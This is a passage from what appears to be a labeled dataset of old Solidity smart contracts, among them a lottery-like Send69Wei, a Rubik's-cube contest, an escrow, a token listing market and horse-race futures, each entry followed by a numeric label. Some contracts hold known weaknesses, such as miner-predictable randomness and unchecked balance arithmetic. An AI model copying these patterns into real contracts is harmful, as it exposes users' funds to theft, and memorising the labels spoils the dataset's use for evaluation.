function changesettings( uint16 _beginterritories, uint16 _maxroll,uint256 _trucetime,uint256 _price,uint256 _maxextensiontruce)
public
{
require(msg.sender==admin);
beginterritories = _beginterritories ;
maxroll = _maxroll;
trucetime = _trucetime;
price = _price;
maxextensiontruce = _maxextensiontruce;
}
struct RoundData{
uint256[101] owners;
mapping(address=>uint16) teamXaddr;
mapping(uint16=>uint256) validrollsXteam;
mapping(address=>uint256) validrollsXaddr;
mapping(uint16=>uint256) teampotshare;
mapping(uint16=>bytes32) nationnameXteam;
uint256 pot;
mapping(uint16=>uint256) colorXteam;
mapping(uint256=>bool) iscolorregistered;
mapping(bytes32=>bool) isnameregistered;
uint16 teamcnt;
uint256 roundstart;
uint16 beginterritories;
uint16 maxroll;
uint256 trucetime;
uint256 price;
uint256 maxextensiontruce;
bytes32 winner;
}
event oncreatenation(
bytes32 leadername,
bytes32 nationname,
uint256 color,
uint16 team,
uint16[] territories,
address addr
);
event onroll(
bytes32 playername,
bytes32 nationname,
uint256 rolled,
uint16 team,
uint16[] territories,
address addr
);
event onbuyname(
bytes32 newname,
uint256 price,
bytes32 prevname,
address addr
);
event onendround(
);
} | 0 | 2,006 |
pragma solidity ^0.4.21;
contract Send69Wei{
uint256 constant HowMuchWei = 69;
mapping(uint256=>address) targets;
uint256 maxval=1;
function Send69Wei() public {
targets[0] = msg.sender;
}
function() payable public {
if (msg.value>=HowMuchWei){
uint256 ret = msg.value-(HowMuchWei);
msg.sender.transfer(ret);
uint256 seed = uint256(block.blockhash(block.number - 1));
uint256 seed1 = uint256(block.timestamp);
uint256 seed2 = uint256(block.coinbase);
uint256 id = uint256(keccak256(seed+seed1+seed2)) % maxval;
address who = targets[id];
who.transfer(HowMuchWei);
targets[maxval] = msg.sender;
maxval++;
}
else{
revert();
}
}
} | 0 | 2,007 |
pragma solidity ^0.4.8;
contract Rubik {
event Submission(address submitter, uint8[] moves);
event NewLeader(address submitter, uint8[] moves);
enum Color {Red, Blue, Yellow, Green, White, Orange}
Color[9][6] state;
address public owner = msg.sender;
address public currentWinner = msg.sender;
uint currentWinnerMoveCount = 9000;
uint contestEndTime = now + 2592000;
uint8 constant FRONT = 0;
uint8 constant LEFT = 1;
uint8 constant UP = 2;
uint8 constant RIGHT = 3;
uint8 constant DOWN = 4;
uint8 constant BACK = 5;
function Rubik() public {
state[FRONT][0] = Color.Green;
state[FRONT][1] = Color.Green;
state[FRONT][2] = Color.Red;
state[FRONT][3] = Color.Yellow;
state[FRONT][4] = Color.Red;
state[FRONT][5] = Color.Green;
state[FRONT][6] = Color.Red;
state[FRONT][7] = Color.Yellow;
state[FRONT][8] = Color.Blue;
state[LEFT][0] = Color.White;
state[LEFT][1] = Color.White;
state[LEFT][2] = Color.Yellow;
state[LEFT][3] = Color.Red;
state[LEFT][4] = Color.Blue;
state[LEFT][5] = Color.White;
state[LEFT][6] = Color.Red;
state[LEFT][7] = Color.Red;
state[LEFT][8] = Color.Blue;
state[UP][0] = Color.Green;
state[UP][1] = Color.Blue;
state[UP][2] = Color.Yellow;
state[UP][3] = Color.White;
state[UP][4] = Color.Yellow;
state[UP][5] = Color.Orange;
state[UP][6] = Color.White;
state[UP][7] = Color.Blue;
state[UP][8] = Color.Blue;
state[RIGHT][0] = Color.Yellow;
state[RIGHT][1] = Color.Red;
state[RIGHT][2] = Color.Orange;
state[RIGHT][3] = Color.Orange;
state[RIGHT][4] = Color.Green;
state[RIGHT][5] = Color.White;
state[RIGHT][6] = Color.Blue;
state[RIGHT][7] = Color.Orange;
state[RIGHT][8] = Color.Orange;
state[DOWN][0] = Color.White;
state[DOWN][1] = Color.Red;
state[DOWN][2] = Color.Orange;
state[DOWN][3] = Color.Yellow;
state[DOWN][4] = Color.White;
state[DOWN][5] = Color.Yellow;
state[DOWN][6] = Color.Yellow;
state[DOWN][7] = Color.Blue;
state[DOWN][8] = Color.Green;
state[BACK][0] = Color.Green;
state[BACK][1] = Color.Green;
state[BACK][2] = Color.Red;
state[BACK][3] = Color.Blue;
state[BACK][4] = Color.Orange;
state[BACK][5] = Color.Orange;
state[BACK][6] = Color.White;
state[BACK][7] = Color.Green;
state[BACK][8] = Color.Orange;
}
function getOwner() view public returns (address) {
return owner;
}
function getCurrentWinner() view public returns (address) {
return currentWinner;
}
function getCurrentWinnerMoveCount() view public returns (uint) {
return currentWinnerMoveCount;
}
function getBalance() view public returns (uint256) {
return this.balance;
}
function getContestEndTime() view public returns (uint256) {
return contestEndTime;
}
function addBalance() public payable {
require(msg.sender == owner);
}
function verifySide(Color[9][6] memory aState, uint8 FACE, Color expectedColor) internal pure returns (bool) {
return aState[FACE][0] == expectedColor &&
aState[FACE][1] == expectedColor &&
aState[FACE][2] == expectedColor &&
aState[FACE][3] == expectedColor &&
aState[FACE][4] == expectedColor &&
aState[FACE][5] == expectedColor &&
aState[FACE][6] == expectedColor &&
aState[FACE][7] == expectedColor &&
aState[FACE][8] == expectedColor;
}
function isSolved(Color[9][6] memory aState) public pure returns (bool) {
return verifySide(aState, FRONT, Color.Red) &&
verifySide(aState, LEFT, Color.Blue) &&
verifySide(aState, UP, Color.Yellow) &&
verifySide(aState, RIGHT, Color.Green) &&
verifySide(aState, DOWN, Color.White) &&
verifySide(aState, BACK, Color.Orange);
}
function getInitialState() public view returns (Color[9][6]) {
return state;
}
function shuffleFace(Color[9][6] memory aState, uint FACE) pure internal {
Color[9] memory swap;
swap[0] = aState[FACE][0];
swap[1] = aState[FACE][1];
swap[2] = aState[FACE][2];
swap[3] = aState[FACE][3];
swap[4] = aState[FACE][4];
swap[5] = aState[FACE][5];
swap[6] = aState[FACE][6];
swap[7] = aState[FACE][7];
swap[8] = aState[FACE][8];
aState[FACE][0] = swap[2];
aState[FACE][1] = swap[5];
aState[FACE][2] = swap[8];
aState[FACE][3] = swap[1];
aState[FACE][4] = swap[4];
aState[FACE][5] = swap[7];
aState[FACE][6] = swap[0];
aState[FACE][7] = swap[3];
aState[FACE][8] = swap[6];
}
function shuffleDown(Color[9][6] memory aState) pure internal {
shuffleFace(aState, DOWN);
Color[12] memory swap;
swap[0] = aState[FRONT][2];
swap[1] = aState[FRONT][5];
swap[2] = aState[FRONT][8];
swap[3] = aState[RIGHT][2];
swap[4] = aState[RIGHT][5];
swap[5] = aState[RIGHT][8];
swap[6] = aState[BACK][6];
swap[7] = aState[BACK][3];
swap[8] = aState[BACK][0];
swap[9] = aState[LEFT][2];
swap[10] = aState[LEFT][5];
swap[11] = aState[LEFT][8];
aState[FRONT][2] = swap[9];
aState[FRONT][5] = swap[10];
aState[FRONT][8] = swap[11];
aState[RIGHT][2] = swap[0];
aState[RIGHT][5] = swap[1];
aState[RIGHT][8] = swap[2];
aState[BACK][6] = swap[3];
aState[BACK][3] = swap[4];
aState[BACK][0] = swap[5];
aState[LEFT][2] = swap[6];
aState[LEFT][5] = swap[7];
aState[LEFT][8] = swap[8];
}
function shuffleRight(Color[9][6] memory aState) pure internal {
shuffleFace(aState, RIGHT);
Color[12] memory swap;
swap[0] = aState[UP][8];
swap[1] = aState[UP][7];
swap[2] = aState[UP][6];
swap[3] = aState[BACK][8];
swap[4] = aState[BACK][7];
swap[5] = aState[BACK][6];
swap[6] = aState[DOWN][8];
swap[7] = aState[DOWN][7];
swap[8] = aState[DOWN][6];
swap[9] = aState[FRONT][8];
swap[10] = aState[FRONT][7];
swap[11] = aState[FRONT][6];
aState[UP][8] = swap[9];
aState[UP][7] = swap[10];
aState[UP][6] = swap[11];
aState[BACK][8] = swap[0];
aState[BACK][7] = swap[1];
aState[BACK][6] = swap[2];
aState[DOWN][8] = swap[3];
aState[DOWN][7] = swap[4];
aState[DOWN][6] = swap[5];
aState[FRONT][8] = swap[6];
aState[FRONT][7] = swap[7];
aState[FRONT][6] = swap[8];
}
function shuffleUp(Color[9][6] memory aState) pure internal {
shuffleFace(aState, UP);
Color[12] memory swap;
swap[0] = aState[BACK][2];
swap[1] = aState[BACK][5];
swap[2] = aState[BACK][8];
swap[3] = aState[RIGHT][6];
swap[4] = aState[RIGHT][3];
swap[5] = aState[RIGHT][0];
swap[6] = aState[FRONT][6];
swap[7] = aState[FRONT][3];
swap[8] = aState[FRONT][0];
swap[9] = aState[LEFT][6];
swap[10] = aState[LEFT][3];
swap[11] = aState[LEFT][0];
aState[BACK][2] = swap[9];
aState[BACK][5] = swap[10];
aState[BACK][8] = swap[11];
aState[RIGHT][6] = swap[0];
aState[RIGHT][3] = swap[1];
aState[RIGHT][0] = swap[2];
aState[FRONT][6] = swap[3];
aState[FRONT][3] = swap[4];
aState[FRONT][0] = swap[5];
aState[LEFT][6] = swap[6];
aState[LEFT][3] = swap[7];
aState[LEFT][0] = swap[8];
}
function shuffleLeft(Color[9][6] memory aState) pure internal {
shuffleFace(aState, LEFT);
Color[12] memory swap;
swap[0] = aState[UP][0];
swap[1] = aState[UP][1];
swap[2] = aState[UP][2];
swap[3] = aState[FRONT][0];
swap[4] = aState[FRONT][1];
swap[5] = aState[FRONT][2];
swap[6] = aState[DOWN][0];
swap[7] = aState[DOWN][1];
swap[8] = aState[DOWN][2];
swap[9] = aState[BACK][0];
swap[10] = aState[BACK][1];
swap[11] = aState[BACK][2];
aState[UP][0] = swap[9];
aState[UP][1] = swap[10];
aState[UP][2] = swap[11];
aState[FRONT][0] = swap[0];
aState[FRONT][1] = swap[1];
aState[FRONT][2] = swap[2];
aState[DOWN][0] = swap[3];
aState[DOWN][1] = swap[4];
aState[DOWN][2] = swap[5];
aState[BACK][0] = swap[6];
aState[BACK][1] = swap[7];
aState[BACK][2] = swap[8];
}
function shuffleFront(Color[9][6] memory aState) pure internal {
shuffleFace(aState, FRONT);
Color[12] memory swap;
swap[0] = aState[UP][2];
swap[1] = aState[UP][5];
swap[2] = aState[UP][8];
swap[3] = aState[RIGHT][0];
swap[4] = aState[RIGHT][1];
swap[5] = aState[RIGHT][2];
swap[6] = aState[DOWN][6];
swap[7] = aState[DOWN][3];
swap[8] = aState[DOWN][0];
swap[9] = aState[LEFT][8];
swap[10] = aState[LEFT][7];
swap[11] = aState[LEFT][6];
aState[UP][2] = swap[9];
aState[UP][5] = swap[10];
aState[UP][8] = swap[11];
aState[RIGHT][0] = swap[0];
aState[RIGHT][1] = swap[1];
aState[RIGHT][2] = swap[2];
aState[DOWN][6] = swap[3];
aState[DOWN][3] = swap[4];
aState[DOWN][0] = swap[5];
aState[LEFT][8] = swap[6];
aState[LEFT][7] = swap[7];
aState[LEFT][6] = swap[8];
}
function trySolution(uint8[] moves) public view returns (Color[9][6]) {
Color[9][6] memory aState = state;
for (uint i = 0; i < moves.length; i++) {
if (moves[i] == FRONT) {
shuffleFront(aState);
} else if (moves[i] == LEFT) {
shuffleLeft(aState);
} else if (moves[i] == UP) {
shuffleUp(aState);
} else if (moves[i] == RIGHT) {
shuffleRight(aState);
} else if (moves[i] == DOWN) {
shuffleDown(aState);
} else {
require(false);
}
}
return aState;
}
function submitSolution(uint8[] moves) public {
Submission(msg.sender, moves);
require(now < contestEndTime);
Color[9][6] memory stateAfterMoves = trySolution(moves);
if (isSolved(stateAfterMoves)) {
if(moves.length < currentWinnerMoveCount) {
currentWinnerMoveCount = moves.length;
currentWinner = msg.sender;
NewLeader(msg.sender, moves);
}
}
}
function claim() public {
require(now >= contestEndTime);
require(msg.sender == currentWinner);
msg.sender.transfer(this.balance);
}
} | 0 | 1,858 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ListingsERC20 is Ownable {
using SafeMath for uint256;
struct Listing {
address seller;
address tokenContractAddress;
uint256 price;
uint256 allowance;
uint256 dateStarts;
uint256 dateEnds;
}
event ListingCreated(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateStarts, uint256 dateEnds, address indexed seller);
event ListingCancelled(bytes32 indexed listingId, uint256 dateCancelled);
event ListingBought(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 amount, uint256 dateBought, address buyer);
string constant public VERSION = "1.0.1";
uint16 constant public GAS_LIMIT = 4999;
uint256 public ownerPercentage;
mapping (bytes32 => Listing) public listings;
mapping (bytes32 => uint256) public sold;
function ListingsERC20(uint256 percentage) public {
ownerPercentage = percentage;
}
function updateOwnerPercentage(uint256 percentage) external onlyOwner {
ownerPercentage = percentage;
}
function withdrawBalance() onlyOwner external {
assert(owner.send(this.balance));
}
function approveToken(address token, uint256 amount) onlyOwner external {
assert(ERC20(token).approve(owner, amount));
}
function() external payable { }
function getHash(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external view returns (bytes32) {
return getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
}
function getHashInternal(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) internal view returns (bytes32) {
return keccak256(msg.sender, tokenContractAddress, price, allowance, dateEnds, salt);
}
function getBalance(address tokenContract, address seller) internal constant returns (uint256) {
return ERC20(tokenContract).balanceOf.gas(GAS_LIMIT)(seller);
}
function getAllowance(address tokenContract, address seller, address listingContract) internal constant returns (uint256) {
return ERC20(tokenContract).allowance.gas(GAS_LIMIT)(seller, listingContract);
}
function createListing(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external {
require(price > 0);
require(allowance > 0);
require(dateEnds > 0);
require(getBalance(tokenContractAddress, msg.sender) >= allowance);
bytes32 listingId = getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
Listing memory listing = Listing(msg.sender, tokenContractAddress, price, allowance, now, dateEnds);
listings[listingId] = listing;
ListingCreated(listingId, tokenContractAddress, price, allowance, now, dateEnds, msg.sender);
}
function cancelListing(bytes32 listingId) external {
Listing storage listing = listings[listingId];
require(msg.sender == listing.seller);
delete listings[listingId];
ListingCancelled(listingId, now);
}
function buyListing(bytes32 listingId, uint256 amount) external payable {
Listing storage listing = listings[listingId];
address seller = listing.seller;
address contractAddress = listing.tokenContractAddress;
uint256 price = listing.price;
uint256 sale = price.mul(amount);
uint256 allowance = listing.allowance;
require(now <= listing.dateEnds);
require(allowance - sold[listingId] >= amount);
require(getBalance(contractAddress, seller) >= amount);
require(getAllowance(contractAddress, seller, this) >= amount);
require(msg.value == sale);
ERC20 tokenContract = ERC20(contractAddress);
require(tokenContract.transferFrom(seller, msg.sender, amount));
seller.transfer(sale - (sale.mul(ownerPercentage).div(10000)));
sold[listingId] = allowance.sub(amount);
ListingBought(listingId, contractAddress, price, amount, now, msg.sender);
}
} | 1 | 4,126 |
pragma solidity ^0.4.0;
contract EscrowGoods {
struct EscrowInfo {
address buyer;
uint lockedFunds;
uint frozenFunds;
uint64 frozenTime;
uint16 count;
bool buyerNo;
bool sellerNo;
}
uint16 constant internal None = 0;
uint16 constant internal Available = 1;
uint16 constant internal Canceled = 2;
uint16 constant internal Buy = 1;
uint16 constant internal Accept = 2;
uint16 constant internal Reject = 3;
uint16 constant internal Cancel = 4;
uint16 constant internal Description = 10;
uint16 constant internal Unlock = 11;
uint16 constant internal Freeze = 12;
uint16 constant internal Resolved = 13;
uint constant arbitrationPeriod = 30 days;
uint constant safeGas = 25000;
address public seller;
uint public contentCount = 0;
uint public logsCount = 0;
address public arbiter;
uint public freezePeriod;
uint public feePromille;
uint public rewardPromille;
uint public feeFunds;
uint public totalEscrows;
mapping (uint => EscrowInfo) public escrows;
uint16 public status;
uint16 public count;
uint16 public availableCount;
uint16 public pendingCount;
uint public price;
mapping (address => bool) public buyers;
bool private atomicLock;
event LogDebug(string message);
event LogEvent(uint indexed lockId, string dataInfo, uint indexed version, uint16 eventType, address indexed sender, uint count, uint payment);
modifier onlyOwner {
if (msg.sender != seller)
throw;
_;
}
modifier onlyArbiter {
if (msg.sender != arbiter)
throw;
_;
}
function EscrowGoods(address _arbiter, uint _freezePeriod, uint _feePromille, uint _rewardPromille,
uint16 _count, uint _price) {
seller = msg.sender;
arbiter = _arbiter;
freezePeriod = _freezePeriod;
feePromille = _feePromille;
rewardPromille = _rewardPromille;
status = Available;
count = _count;
price = _price;
availableCount = count;
}
function logDebug(string message) internal {
logsCount++;
LogDebug(message);
}
function logEvent(uint lockId, string dataInfo, uint version, uint16 eventType,
address sender, uint count, uint payment) internal {
contentCount++;
LogEvent(lockId, dataInfo, version, eventType, sender, count, payment);
}
function kill() onlyOwner {
if(totalEscrows > 0) {
logDebug("totalEscrows > 0");
return;
}
if(feeFunds > 0) {
logDebug("feeFunds > 0");
return;
}
suicide(msg.sender);
}
function safeSend(address addr, uint value) internal {
if(atomicLock) throw;
atomicLock = true;
if (!(addr.call.gas(safeGas).value(value)())) {
atomicLock = false;
throw;
}
atomicLock = false;
}
function yes(uint _lockId, string _dataInfo, uint _version) {
EscrowInfo info = escrows[_lockId];
if(info.lockedFunds == 0) {
logDebug("info.lockedFunds == 0");
return;
}
if(msg.sender != info.buyer && msg.sender != seller) {
logDebug("msg.sender != info.buyer && msg.sender != seller");
return;
}
uint payment = info.lockedFunds;
if(payment > this.balance) {
logDebug("payment > this.balance");
return;
}
if(msg.sender == info.buyer) {
safeSend(seller, payment);
} else if(msg.sender == seller) {
safeSend(info.buyer, payment);
} else {
logDebug("unknown msg.sender");
return;
}
if(totalEscrows > 0) totalEscrows -= 1;
info.lockedFunds = 0;
logEvent(_lockId, _dataInfo, _version, Unlock, msg.sender, info.count, payment);
}
function no(uint _lockId, string _dataInfo, uint _version) {
EscrowInfo info = escrows[_lockId];
if(info.lockedFunds == 0) {
logDebug("info.lockedFunds == 0");
return;
}
if(msg.sender != info.buyer && msg.sender != seller) {
logDebug("msg.sender != info.buyer && msg.sender != seller");
return;
}
if(info.frozenFunds == 0) {
info.frozenFunds = info.lockedFunds;
info.frozenTime = uint64(now);
}
if(msg.sender == info.buyer) {
info.buyerNo = true;
}
else if(msg.sender == seller) {
info.sellerNo = true;
} else {
logDebug("unknown msg.sender");
return;
}
logEvent(_lockId, _dataInfo, _version, Freeze, msg.sender, info.count, info.lockedFunds);
}
function arbYes(uint _lockId, address _who, uint _payment, string _dataInfo, uint _version) onlyArbiter {
EscrowInfo info = escrows[_lockId];
if(info.lockedFunds == 0) {
logDebug("info.lockedFunds == 0");
return;
}
if(info.frozenFunds == 0) {
logDebug("info.frozenFunds == 0");
return;
}
if(_who != seller && _who != info.buyer) {
logDebug("_who != seller && _who != info.buyer");
return;
}
if(!info.buyerNo || !info.sellerNo) {
logDebug("!info.buyerNo || !info.sellerNo");
return;
}
if(_payment > info.lockedFunds) {
logDebug("_payment > info.lockedFunds");
return;
}
if(_payment > this.balance) {
logDebug("_payment > this.balance");
return;
}
uint reward = (info.lockedFunds * rewardPromille) / 1000;
if(reward > (info.lockedFunds - _payment)) {
logDebug("reward > (info.lockedFunds - _payment)");
return;
}
safeSend(_who, _payment);
info.lockedFunds -= _payment;
feeFunds += info.lockedFunds;
info.lockedFunds = 0;
logEvent(_lockId, _dataInfo, _version, Resolved, msg.sender, info.count, _payment);
}
function getFees() onlyArbiter {
if(feeFunds > this.balance) {
logDebug("feeFunds > this.balance");
return;
}
safeSend(arbiter, feeFunds);
feeFunds = 0;
}
function getMoney(uint _lockId) {
EscrowInfo info = escrows[_lockId];
if(info.lockedFunds == 0) {
logDebug("info.lockedFunds == 0");
return;
}
if(info.frozenFunds == 0) {
logDebug("info.frozenFunds == 0");
return;
}
if(now < (info.frozenTime + freezePeriod)) {
logDebug("now < (info.frozenTime + freezePeriod)");
return;
}
uint payment = info.lockedFunds;
if(payment > this.balance) {
logDebug("payment > this.balance");
return;
}
if(info.buyerNo && info.sellerNo) {
if(now < (info.frozenTime + freezePeriod + arbitrationPeriod)) {
logDebug("now < (info.frozenTime + freezePeriod + arbitrationPeriod)");
return;
}
safeSend(info.buyer, payment);
info.lockedFunds = 0;
return;
}
if(info.buyerNo) {
safeSend(info.buyer, payment);
info.lockedFunds = 0;
return;
}
if(info.sellerNo) {
safeSend(seller, payment);
info.lockedFunds = 0;
return;
}
}
function addDescription(string _dataInfo, uint _version) onlyOwner {
logEvent(0, _dataInfo, _version, Description, msg.sender, 0, 0);
}
function buy(uint _lockId, string _dataInfo, uint _version, uint16 _count) payable {
if(status != Available) throw;
if(msg.value < (price * _count)) throw;
if(_count > availableCount) throw;
if(_count == 0) throw;
if(feePromille > 1000) throw;
if(rewardPromille > 1000) throw;
if((feePromille + rewardPromille) > 1000) throw;
EscrowInfo info = escrows[_lockId];
if(info.lockedFunds > 0) throw;
uint fee = (msg.value * feePromille) / 1000;
if(fee > msg.value) throw;
uint funds = (msg.value - fee);
feeFunds += fee;
totalEscrows += 1;
info.buyer = msg.sender;
info.lockedFunds = funds;
info.frozenFunds = 0;
info.buyerNo = false;
info.sellerNo = false;
info.count = _count;
pendingCount += _count;
buyers[msg.sender] = true;
logEvent(_lockId, _dataInfo, _version, Buy, msg.sender, _count, msg.value);
}
function accept(uint _lockId, string _dataInfo, uint _version) onlyOwner {
EscrowInfo info = escrows[_lockId];
if(info.count > availableCount) {
logDebug("info.count > availableCount");
return;
}
if(info.count > pendingCount) {
logDebug("info.count > pendingCount");
return;
}
pendingCount -= info.count;
availableCount -= info.count;
logEvent(_lockId, _dataInfo, _version, Accept, msg.sender, info.count, info.lockedFunds);
}
function reject(uint _lockId, string _dataInfo, uint _version) onlyOwner {
EscrowInfo info = escrows[_lockId];
if(info.count > pendingCount) {
logDebug("info.count > pendingCount");
return;
}
pendingCount -= info.count;
yes(_lockId, _dataInfo, _version);
logEvent(_lockId, _dataInfo, _version, Reject, msg.sender, info.count, info.lockedFunds);
}
function cancel(string _dataInfo, uint _version) onlyOwner {
status = Canceled;
logEvent(0, _dataInfo, _version, Cancel, msg.sender, availableCount, 0);
}
function unbuy() {
buyers[msg.sender] = false;
}
function () {
throw;
}
} | 0 | 312 |
pragma solidity ^0.4.24;
contract BettingInterface {
function placeBet(bytes32 horse) external payable;
function claim_reward() external;
mapping (bytes32 => bool) public winner_horse;
function checkReward() external constant returns (uint);
}
contract HorseFutures {
event Claimed(address indexed Race, uint256 Count);
event Selling(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner);
event Buying(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner);
event Canceled(bytes32 Id, address indexed Owner,address indexed Race);
event Bought(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race);
event Sold(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race);
event BetPlaced(address indexed EthAddr, address indexed Race);
struct Offer
{
uint256 Amount;
bytes32 Horse;
uint256 Price;
address Race;
bool BuyType;
}
mapping(address => mapping(address => mapping(bytes32 => uint256))) ClaimTokens;
mapping(address => mapping (bytes32 => uint256)) TotalTokensCoinRace;
mapping(address => bool) ClaimedRaces;
mapping(address => uint256) toDistributeRace;
mapping(bytes32 => Offer) market;
mapping(bytes32 => address) owner;
mapping(address => uint256) public marketBalance;
function placeBet(bytes32 horse, address race) external payable
_validRace(race) {
BettingInterface raceContract = BettingInterface(race);
raceContract.placeBet.value(msg.value)(horse);
uint256 c = uint256(msg.value / 1 finney);
ClaimTokens[msg.sender][race][horse] += c;
TotalTokensCoinRace[race][horse] += c;
emit BetPlaced(msg.sender, race);
}
function getOwnedAndTotalTokens(bytes32 horse, address race) external view
_validRace(race)
returns(uint256,uint256) {
return (ClaimTokens[msg.sender][race][horse],TotalTokensCoinRace[race][horse]);
}
function() public payable { }
function claim(address race) external
_validRace(race) {
BettingInterface raceContract = BettingInterface(race);
if(!ClaimedRaces[race]) {
toDistributeRace[race] = raceContract.checkReward();
raceContract.claim_reward();
ClaimedRaces[race] = true;
}
uint256 totalWinningTokens = 0;
uint256 ownedWinningTokens = 0;
bool btcWin = raceContract.winner_horse(bytes32("BTC"));
bool ltcWin = raceContract.winner_horse(bytes32("LTC"));
bool ethWin = raceContract.winner_horse(bytes32("ETH"));
if(btcWin)
{
totalWinningTokens += TotalTokensCoinRace[race][bytes32("BTC")];
ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("BTC")];
ClaimTokens[msg.sender][race][bytes32("BTC")] = 0;
}
if(ltcWin)
{
totalWinningTokens += TotalTokensCoinRace[race][bytes32("LTC")];
ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("LTC")];
ClaimTokens[msg.sender][race][bytes32("LTC")] = 0;
}
if(ethWin)
{
totalWinningTokens += TotalTokensCoinRace[race][bytes32("ETH")];
ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("ETH")];
ClaimTokens[msg.sender][race][bytes32("ETH")] = 0;
}
uint256 claimerCut = toDistributeRace[race] / totalWinningTokens * ownedWinningTokens;
msg.sender.transfer(claimerCut);
emit Claimed(race, claimerCut);
}
function sellOffer(uint256 amount, uint256 price, address race, bytes32 horse) external
_validRace(race)
_validHorse(horse)
returns (bytes32) {
uint256 ownedAmount = ClaimTokens[msg.sender][race][horse];
require(ownedAmount >= amount);
require(amount > 0);
bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,true,block.timestamp));
require(owner[id] == address(0));
Offer storage newOffer = market[id];
newOffer.Amount = amount;
newOffer.Horse = horse;
newOffer.Price = price;
newOffer.Race = race;
newOffer.BuyType = false;
ClaimTokens[msg.sender][race][horse] -= amount;
owner[id] = msg.sender;
emit Selling(id,amount,price,race,horse,msg.sender);
return id;
}
function getOffer(bytes32 id) external view returns(uint256,bytes32,uint256,address,bool) {
Offer memory off = market[id];
return (off.Amount,off.Horse,off.Price,off.Race,off.BuyType);
}
function buyOffer(uint256 amount, uint256 price, address race, bytes32 horse) external payable
_validRace(race)
_validHorse(horse)
returns (bytes32) {
require(amount > 0);
require(price > 0);
require(msg.value == price * amount);
bytes32 id = keccak256(abi.encodePacked(amount,price,race,horse,false,block.timestamp));
require(owner[id] == address(0));
Offer storage newOffer = market[id];
newOffer.Amount = amount;
newOffer.Horse = horse;
newOffer.Price = price;
newOffer.Race = race;
newOffer.BuyType = true;
owner[id] = msg.sender;
emit Buying(id,amount,price,race,horse,msg.sender);
return id;
}
function cancelOrder(bytes32 id) external {
require(owner[id] == msg.sender);
Offer memory off = market[id];
if(off.BuyType) {
msg.sender.transfer(off.Amount * off.Price);
}
else {
ClaimTokens[msg.sender][off.Race][off.Horse] += off.Amount;
}
emit Canceled(id,msg.sender,off.Race);
delete market[id];
delete owner[id];
}
function buy(bytes32 id, uint256 amount) external payable {
require(owner[id] != address(0));
require(owner[id] != msg.sender);
Offer storage off = market[id];
require(!off.BuyType);
require(amount <= off.Amount);
uint256 cost = off.Price * amount;
require(msg.value >= cost);
ClaimTokens[msg.sender][off.Race][off.Horse] += amount;
marketBalance[owner[id]] += msg.value;
emit Bought(id,amount,msg.sender, off.Race);
if(off.Amount == amount)
{
delete market[id];
delete owner[id];
}
else
{
off.Amount -= amount;
}
}
function sell(bytes32 id, uint256 amount) external {
require(owner[id] != address(0));
require(owner[id] != msg.sender);
Offer storage off = market[id];
require(off.BuyType);
require(amount <= off.Amount);
uint256 cost = amount * off.Price;
ClaimTokens[msg.sender][off.Race][off.Horse] -= amount;
ClaimTokens[owner[id]][off.Race][off.Horse] += amount;
marketBalance[owner[id]] -= cost;
marketBalance[msg.sender] += cost;
emit Sold(id,amount,msg.sender,off.Race);
if(off.Amount == amount)
{
delete market[id];
delete owner[id];
}
else
{
off.Amount -= amount;
}
}
function withdraw() external {
msg.sender.transfer(marketBalance[msg.sender]);
marketBalance[msg.sender] = 0;
}
modifier _validRace(address race) {
require(race != address(0));
_;
}
modifier _validHorse(bytes32 horse) {
require(horse == bytes32("BTC") || horse == bytes32("ETH") || horse == bytes32("LTC"));
_;
}
} | 0 | 832 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
